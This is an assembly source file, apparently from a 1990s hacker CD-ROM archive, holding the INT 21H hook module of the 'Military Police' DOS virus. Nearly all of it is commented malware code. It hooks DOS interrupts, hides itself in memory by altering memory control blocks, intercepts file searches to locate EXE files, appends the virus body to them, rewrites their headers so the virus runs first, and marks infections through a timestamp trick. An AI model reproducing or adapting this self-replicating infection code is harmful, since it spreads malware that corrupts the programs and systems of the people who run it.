home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / MPOLICE / INT21H.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-03  |  14.5 KB  |  333 lines

  1. ;INT21H.ASM--This module works with the MPOLICE virus.
  2.  
  3. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved!
  4.  
  5. ;*******************************************************************************
  6. ;This is the interrupt 21H hook used by the Military Police Virus
  7. ;*******************************************************************************
  8.  
  9. LOWMEM  DB      0                       ;flag to indicate in low memory already
  10. EXE_HDR DB      1CH dup (?)             ;buffer for EXE file header
  11. FNAME   DB      12 dup (0)
  12. FSIZE   DW      0,0
  13. LOAD_TIME       DD      ?               ;startup time of virus
  14.  
  15. ;The following 10 bytes must stay together because they are an image of 10
  16. ;bytes from the EXE header
  17. HOSTS   DW      0,STACKSIZE             ;host stack and code segments
  18. FILLER  DW      ?                       ;these are dynamically set by the virus
  19. HOSTC   DD      0                       ;but hard-coded in the 1st generation
  20. OLD_21H DD      ?                       ;old interrupt 21H vector
  21.  
  22. INT_21H:
  23.         cmp     ax,4C00H        ;standard DOS terminate program?
  24.         jne     I21_1           ;nope, try next function
  25.         cmp     cs:[LOWMEM],0   ;already in low memory?
  26.         je      GO_LOW          ;nope, go to low memory
  27. I21_1:  cmp     ah,11H          ;DOS Search First Function
  28.         jne     I21_2           ;no, try search next
  29.         jmp     SRCH_HOOK_START ;yes, go execute hook
  30. I21_2:  cmp     ah,12H          ;Search next?
  31.         jne     I21_3           ;no, continue
  32.         jmp     SRCH_HOOK       ;yes, go execute hook
  33. I21_3:
  34. I21R:   jmp     DWORD PTR cs:[OLD_21H]          ;jump to old handler for now
  35.  
  36. ;*******************************************************************************
  37. ;This routine moves the virus to low memory by turning an INT 21H, Fctn 4C00H
  38. ;into an INT 21H, Fctn 3100H TSR call, only the virus takes over the memory
  39. ;being relinquished by the program.
  40. GO_LOW:
  41.         mov     cs:[LOWMEM],1                   ;set flag to say this was done
  42.         mov     ah,62H                          ;get PSP of process
  43.         int     21H                             ;requesting to terminate
  44.         add     bx,10H                          ;adjust for PSP
  45.         sub     bx,7C0H-32*(VIR_SIZE+1)         ;adjust for virus starting offset
  46.         mov     es,bx                           ;and put it here
  47.         push    cs
  48.         pop     ds                              ;ds=cs
  49.         mov     si,OFFSET BBS                   ;move virus to the PSP
  50.         mov     di,si
  51.         mov     cx,512*(VIR_SIZE+2)
  52.         rep     movsb
  53.  
  54.         xor     ax,ax
  55.         mov     ds,ax                           ;ds=0
  56.         mov     bx,21H*4                        ;examine INT 21H vector
  57.         cmp     [bx],OFFSET INT_21H             ;is it up here?
  58.         jne     FIND21H                         ;nope, it's been changed
  59.         mov     ax,cs                           ;so we'd better look for it
  60.         cmp     [bx+2],ax
  61.         je      SET21H                          ;else go change it in int tbl
  62. FIND21H:push    es
  63.         mov     es,[bx+2]                       ;didn't find vector--look for
  64.         pop     ds                              ;ds=new segment now
  65.         mov     di,0                            ;it under another hook
  66.         mov     cx,7FFEH
  67.         cld
  68. F21L:   mov     ax,OFFSET INT_21H               ;search for cs:OFFSET INT_21H
  69.         repnz   scasw                           ;in this segment
  70.         jnz     ABORT_GO_LOW                    ;not found, don't go resident
  71.         mov     ax,cs                           ;ok, found OFFSET INT_21H
  72.         add     di,2                            ;so check for proper cs
  73.         dec     cx
  74.         cmp     es:[di],ax                      ;is it there??
  75.         jne     F21L                            ;no, continue looking
  76.         mov     ax,ds                           ;yes, found it
  77.         mov     es:[di],ax                      ;replace it with new cs
  78.  
  79. SET21H: mov     [bx+2],es                       ;change int 21H vector
  80.  
  81. SET13H:
  82.         mov     ah,13H                          ;move interrupt 13H vector
  83.         push    es                              ;to new segment
  84.         pop     ds                              ;ds=es
  85.         mov     dx,OFFSET INT_13H               ;using this secret little call!
  86.         mov     bx,dx
  87.         int     2FH
  88.  
  89.         xor     ax,ax                           ;adjust memory size from BIOS
  90.         mov     ds,ax                           ;back to normal
  91.         add     WORD PTR [MEMSIZE],(VIR_SIZE+3)/2
  92.  
  93. SETUP_MCB:                                      ;now adjust the Z block of memory
  94.         mov     ah,52H                          ;get list of lists @ in es:bx
  95.         int     21H
  96.         mov     dx,es:[bx-2]                    ;get first MCB segment in ax
  97.         xor     bx,bx                           ;now find the Z block
  98.         mov     es,dx                           ;set es=MCB segment
  99. FINDZ:  cmp     BYTE PTR es:[bx],'Z'
  100.         je      FOUNDZ                          ;got it
  101.         mov     dx,es                           ;nope, go to next in chain
  102.         inc     dx
  103.         add     dx,es:[bx+3]
  104.         mov     es,dx
  105.         jmp     FINDZ
  106. FOUNDZ: add     WORD PTR es:[bx+3],64*((VIR_SIZE+3)/2)  ;adjust size
  107.  
  108.         mov     ax,3100H
  109.         mov     dx,10H + 32*(VIR_SIZE+2)        ;memory to keep (enough for virus)
  110. GLX:    jmp     DWORD PTR cs:[OLD_21H]          ;let DOS do the TSR now
  111.  
  112. ABORT_GO_LOW:
  113.         mov     ax,4C00H                        ;do a normal dos terminate
  114.         jmp     GLX
  115.  
  116. ;*******************************************************************************
  117. ;The following is the file search hook, and the EXE file infect routine.
  118. ;It hooks the FCB-based DOS Search First (11H) and Search Next (12H) routines.
  119.  
  120. FILE_FND        DB      0       ;file found flag 1 = search found something to infect
  121.  
  122. SRCH_HOOK_START:
  123.         mov     cs:[FILE_FND],0
  124. SRCH_HOOK:
  125.         pushf                   ;call original int 21H handler
  126.         call    DWORD PTR cs:[OLD_21H]
  127.         or      al,al           ;was it successful?
  128.         jnz     SDONE           ;nope, exit and do infect, if any, now
  129.         pushf
  130.         cmp     cs:[FILE_FND],1 ;already got a file?
  131.         je      ESF             ;yes, don't look any further
  132.         push    ax              ;save registers
  133.         push    bx
  134.         push    cx
  135.         push    dx
  136.         push    di
  137.         push    si
  138.         push    es
  139.         push    ds
  140.  
  141.         mov     ah,2FH          ;get dta address in es:bx
  142.         int     21H
  143.         cmp     BYTE PTR es:[bx],0FFH
  144.         jne     SH1             ;an extended fcb?
  145.         add     bx,7            ;yes, adjust index
  146. SH1:    cmp     WORD PTR es:[bx+9],'XE'
  147.         jne     EXIT_SRCH       ;check for an EXE file
  148.         cmp     BYTE PTR es:[bx+11],'E'
  149.         jne     EXIT_SRCH       ;if not EXE, just return control to caller
  150.  
  151.         call    FILE_OK         ;ok to infect?
  152.         jz      EXIT_SRCH       ;no, just exit to caller
  153.         call    SETUP_DATA      ;yes, set up data for later call to INFECT
  154.  
  155. EXIT_SRCH:
  156.         pop     ds
  157.         pop     es
  158.         pop     si              ;restore registers
  159.         pop     di
  160.         pop     dx
  161.         pop     cx
  162.         pop     bx
  163.         pop     ax
  164. ESF:    popf
  165.         retf    2               ;return to original caller with current flags
  166.  
  167. ;When we get here, the search is done and we can proceed with the infection,
  168. ;if a file to infect was found.
  169. SDONE:
  170.         pushf
  171.         cmp     cs:[FILE_FND],1 ;was anything found?
  172.         jne     SEXIT           ;no, just return to caller
  173.         push    ax              ;else go infect it
  174.         push    bx
  175.         push    cx
  176.         push    dx
  177.         push    ds
  178.         push    es
  179.         call    INFECT_FILE     ;go ahead and infect it
  180.         mov     cs:[FILE_FND],0 ;and reset this flag
  181.         pop     es
  182.         pop     ds
  183.         pop     dx
  184.         pop     cx
  185.         pop     bx
  186.         pop     ax
  187. SEXIT:  popf
  188.         retf    2
  189.  
  190.  
  191. ;This routine sets up all the data which the infect routine will need to
  192. ;infect the file after the search has completed.
  193. SETUP_DATA:
  194.         push    cs
  195.         pop     ds
  196.         mov     BYTE PTR [FILE_FND],1   ;set this flag
  197.         push    es                      ;now prep to save the file name
  198.         pop     ds
  199.         mov     si,bx                   ;ds:si now points to fcb
  200.         inc     si                      ;now, to file name in fcb
  201.         push    cs
  202.         pop     es
  203.         mov     di,OFFSET FNAME         ;es:di points to file name buffer here
  204.         mov     cx,8                    ;number of bytes in file name
  205. FO1:    lodsb
  206.         stosb
  207.         cmp     al,20H
  208.         je      FO2
  209.         loop    FO1
  210.         inc     di
  211. FO2:    mov     BYTE PTR es:[di-1],'.'
  212.         mov     ax,'XE'
  213.         stosw
  214.         mov     ax,'E'
  215.         stosw
  216.         ret
  217.  
  218.  
  219. ;Function to determine whether the EXE file found by the search routine is
  220. ;infected. If infected, FILE_OK returns with Z set.
  221. FILE_OK:
  222.         mov     ax,es:[bx+17H]          ;get the file time stamp
  223.         add     ax,es:[bx+19H]          ;add the date stamp to it
  224.         and     al,00011111B            ;get the seconds/day field
  225.         cmp     al,31                   ;they should add up to 31
  226.         ret                             ;if it's infected
  227.  
  228.  
  229. ;This routine moves the virus (this program) to the end of the EXE file
  230. ;Basically, it just copies everything here to there, and then goes and
  231. ;adjusts the EXE file header. It also makes sure the virus starts
  232. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  233. INFECT_FILE:
  234.         push    cs
  235.         pop     es
  236.         push    cs
  237.         pop     ds                     ;now cs, ds and es all point here
  238.         mov     dx,OFFSET FNAME
  239.         mov     ax,3D02H               ;r/w access open file using handle
  240.         int     21H
  241.         jnc     IF1_
  242.         jmp     OK_END1                ;error opening - C set - quit without closing
  243. IF1_:   mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  244.         mov     cx,1CH                 ;read 28 byte EXE file header
  245.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  246.         mov     ah,3FH                 ;for examination and modification
  247.         int     21H
  248.         jc      IF2_                   ;error in reading the file, so quit
  249.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  250.         jnz     IF2_                   ;close & exit if not
  251.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  252.         jnz     IF2_                   ;not 0 - exit with c set
  253.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  254.         jnc     IF2_                   ;yes, it is not a DOS EXE, so skip it
  255.         cmp     WORD PTR [EXE_HDR+14H],OFFSET START_EXE - OFFSET BBS ;see if initial ip = virus initial ip
  256.         jnz     IF3_
  257. IF2_:   jmp     OK_END
  258. IF3_:
  259.         mov     ax,4202H                ;seek end of file to determine size
  260.         xor     cx,cx
  261.         xor     dx,dx
  262.         int     21H
  263.         mov     [FSIZE],ax              ;and save it here
  264.         mov     [FSIZE+2],dx
  265.         mov     cx,WORD PTR [FSIZE+2]   ;adjust file length to paragraph
  266.         mov     dx,WORD PTR [FSIZE]     ;boundary
  267.         or      dl,0FH
  268.         add     dx,1
  269.         adc     cx,0
  270.         mov     WORD PTR [FSIZE+2],cx
  271.         mov     WORD PTR [FSIZE],dx
  272.         mov     ax,4200H                ;set file pointer, relative to beginning
  273.         int     21H                     ;go to end of file + boundary
  274.  
  275.         mov     dx,OFFSET BBS           ;ds:dx = start of virus
  276.         mov     cx,OFFSET ENDCODE
  277.         sub     cx,dx                   ;cx =  bytes to write
  278.         mov     ah,40H                  ;write body of virus to file
  279.         int     21H
  280.  
  281.         mov     dx,WORD PTR [FSIZE]     ;find relocatables in code
  282.         mov     cx,WORD PTR [FSIZE+2]   ;original end of file
  283.         add     dx,OFFSET HOSTS - OFFSET BBS    ;     + offset of HOSTS
  284.         adc     cx,0                    ;cx:dx is that number
  285.         mov     ax,4200H                ;set file pointer to 1st relocatable
  286.         int     21H
  287.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  288.         mov     cx,10
  289.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  290.         int     21H
  291.  
  292.         xor     cx,cx                   ;so now adjust the EXE header values
  293.         xor     dx,dx
  294.         mov     ax,4200H                ;set file pointer to start of file
  295.         int     21H
  296.  
  297.         mov     ax,WORD PTR [FSIZE]     ;calculate viral initial CS
  298.         mov     dx,WORD PTR [FSIZE+2]   ; = File size / 16 - Header Size(Para)
  299.         mov     cx,16
  300.         div     cx                      ;dx:ax contains file size / 16
  301.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  302.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  303.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  304.         mov     WORD PTR [EXE_HDR+20],OFFSET START_EXE - OFFSET BBS;save initial ip
  305.         mov     WORD PTR [EXE_HDR+16],OFFSET ENDCODE - OFFSET BBS + STACKSIZE  ;save initial sp
  306.  
  307.         mov     dx,WORD PTR [FSIZE+2]   ;calculate new file size for header
  308.         mov     ax,WORD PTR [FSIZE]     ;get original size
  309.         add     ax,OFFSET ENDCODE - OFFSET BBS + 200H  ;add virus size + 1 paragraph, 512 bytes
  310.         adc     dx,0
  311.         mov     cx,200H                 ;divide by paragraph size
  312.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  313.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  314.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  315.         mov     cx,1CH                  ;and save 1CH bytes of header
  316.         mov     dx,OFFSET EXE_HDR       ;at start of file
  317.         mov     ah,40H
  318.         int     21H
  319.  
  320. OK_END: mov     ax,5700H                ;get file time/date stamp
  321.         int     21H
  322.         and     cl,11100000B            ;zero the time seconds
  323.         add     cl,31                   ;adjust to 31
  324.         mov     al,dl
  325.         and     al,00011111B            ;get days
  326.         sub     cl,al                   ;make al+cl 1st 5 bits add to 31
  327.         mov     ax,5701H                ;and set new stamp
  328.         int     21H
  329.         mov     ah,3EH                  ;close file now
  330.         int     21H
  331. OK_END1:ret                             ;that's it, infection is complete!
  332.  
  333.